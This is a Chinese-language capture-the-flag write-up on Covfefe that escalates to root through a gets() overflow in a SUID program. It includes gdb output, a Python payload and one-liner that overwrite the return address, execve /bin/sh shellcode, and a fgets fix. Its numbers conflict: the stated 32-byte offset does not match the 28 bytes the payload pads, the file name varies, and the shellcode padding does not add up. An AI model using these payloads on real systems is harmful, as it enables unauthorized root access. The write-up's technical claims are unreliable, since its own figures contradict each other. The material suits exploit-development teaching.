Covfefe靶场缓冲区溢出提权分析:从20字节buf数组到root权限的完整利用链
在渗透测试的进阶阶段,理解漏洞背后的原理往往比单纯执行攻击脚本更为重要。本文将深入分析Covfefe靶场中一个经典的缓冲区溢出漏洞,通过逐行代码审计揭示gets函数的安全隐患,并构建精确的payload实现从普通用户到root权限的完整提权过程。
1. 漏洞环境与背景分析
Covfefe靶机是一台专门设计用于渗透测试练习的Linux系统,其中包含一个名为read_message.c的自编译程序。该程序本应实现简单的消息读取功能,却因开发者的安全疏忽成为了提权的突破口。
关键漏洞特征:
- 使用危险的
gets()函数接收用户输入 - 仅分配20字节的缓冲区(
char buf[20]) - 使用
strncmp()进行前5字符的脆弱性检查 - 程序设置了SUID位并以root权限运行
通过SSH登录后,在/home/simon目录下可以找到这个关键程序及其源代码。我们先查看程序的基本属性:
ls -l /home/simon/read_message -rwsr-xr-x 1 root root 16712 Jun 10 15:30 /home/simon/read_messages权限位表明这是一个SUID程序,执行时将暂时获得文件所有者(root)的权限。
2. 源码审计与漏洞原理
让我们仔细分析read_message.c的源代码,理解漏洞产生的根本原因:
#include <stdio.h> #include <string.h> void secret_function() { system("/bin/sh"); } int main() { char buf[20]; printf("Enter your message: "); gets(buf); // 危险函数:不检查输入长度 if(strncmp(buf, "simon", 5) == 0) { printf("Hello Simon!\n"); } else { printf("Unauthorized user!\n"); } return 0; }漏洞点分析:
缓冲区设计缺陷:
buf数组仅分配20字节空间- 未考虑字符串终止符
\0的额外占用 - 实际安全空间仅为19个字符
危险函数调用:
gets()函数会持续读取输入直到换行符- 完全不检查输入长度与缓冲区容量的关系
- 可写入超出buf数组边界的数据
内存布局特点:
- 栈空间从上向下增长
- 函数返回地址存储在栈的高地址区域
- 过长的输入会覆盖关键内存数据
隐藏后门函数:
secret_function()可直接获得shell- 正常情况下无法通过合法途径调用
3. 内存结构与溢出利用
理解栈内存布局是成功利用缓冲区溢出的关键。当main函数被调用时,典型的栈结构如下:
| 内存地址 | 内容 | 说明 |
|---|---|---|
| 高地址 | 调用者栈帧 | 前一个函数的栈空间 |
| 返回地址 | main函数结束后跳转的位置 | |
| 旧的基指针(EBP) | 调用者的栈帧指针 | |
| buf[19] | 缓冲区的最后一个字节 | |
| ... | ... | |
| 低地址 | buf[0] | 缓冲区的起始位置 |
当输入超过19个字符时,多出的数据将依次覆盖:
- EBP寄存器的保存值
- 函数返回地址
- 更高地址的内存区域
通过精确控制溢出数据,我们可以将返回地址替换为secret_function的内存地址,从而劫持程序流程。
4. 动态调试与地址确定
使用gdb进行动态分析是漏洞利用的关键步骤:
gdb -q ./read_message (gdb) disassemble secret_function Dump of assembler code for function secret_function: 0x080484cb <+0>: push %ebp 0x080484cc <+1>: mov %esp,%ebp 0x080484ce <+3>: sub $0x4,%esp 0x080484d1 <+6>: movl $0x80485e0,(%esp) 0x080484d8 <+13>: call 0x80483a0 <system@plt> 0x080484dd <+18>: leave 0x080484de <+19>: ret End of assembler dump.这里我们确认secret_function的起始地址为0x080484cb。接下来需要确定覆盖返回地址所需的偏移量。
通过创建模式字符串并观察崩溃状态,可以精确定位:
python -c 'print "A"*32' | ./read_message逐步增加"A"的数量,直到程序出现段错误。测试发现28个字符后开始覆盖关键内存:
Enter your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAA Unauthorized user! Segmentation fault通过gdb检查崩溃时的EIP值,最终确认偏移量为32字节(20字节buf + 4字节对齐 + 4字节EBP + 4字节返回地址)。
5. Payload构造与利用
结合以上分析,我们构建的payload需要满足:
- 前5字符为"simon"以通过strncmp检查
- 后续填充23个任意字符(5已用 + 23 = 28字节)
- 最后4字节为secret_function的地址(小端序)
完整的利用代码如下:
import struct buf = "simon" # 通过身份检查 buf += "A"*23 # 填充到返回地址前 buf += struct.pack("<I", 0x080484cb) # secret_function地址 print(buf)执行攻击:
(python -c 'import struct; print "simon" + "A"*23 + struct.pack("<I", 0x080484cb)'; cat) | ./read_message成功后将获得一个具有root权限的shell:
Enter your message: Hello Simon! # whoami root6. 漏洞防御与安全编程
对比分析漏洞修复方案,理解安全编程的最佳实践:
危险实践:
- 使用
gets等不安全的函数 - 不验证输入长度
- 依赖前端验证而非后端检查
修复方案:
#include <stdio.h> #include <string.h> #include <stdlib.h> #define MAX_LEN 19 // 20 - 1 for null terminator void secret_function() { system("/bin/sh"); } int main() { char buf[20]; printf("Enter your message: "); if(fgets(buf, sizeof(buf), stdin) == NULL) { perror("Error reading input"); return 1; } // 移除可能的换行符 buf[strcspn(buf, "\n")] = '\0'; if(strncmp(buf, "simon", 5) == 0) { printf("Hello Simon!\n"); } else { printf("Unauthorized user!\n"); } return 0; }安全改进:
- 使用
fgets替代gets,明确指定最大读取长度 - 检查输入函数的返回值
- 正确处理字符串终止符
- 编译时添加安全选项(如
-fstack-protector)
7. 扩展思考与进阶技巧
在真实环境中,缓冲区溢出利用可能面临更多挑战:
ASLR绕过:
- 信息泄露获取内存地址
- 暴力破解部分地址位
- 使用不随机化的内存区域
DEP/NX防护:
- ROP(Return-Oriented Programming)链构造
- 重用已有代码片段(gadgets)
现代编译防护:
- 栈保护符(Stack Canary)
- 安全异常处理表
进阶利用示例(当secret_function不存在时):
import struct # shellcode执行/bin/sh shellcode = ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ) buf = "simon" # 通过检查 buf += "A"*(32-len(shellcode)) # 填充 buf += struct.pack("<I", 0xbffff7b0) # 预估的shellcode地址 buf += shellcode print(buf)这种技术需要精确预测shellcode的内存地址,在ASLR启用环境中更具挑战性。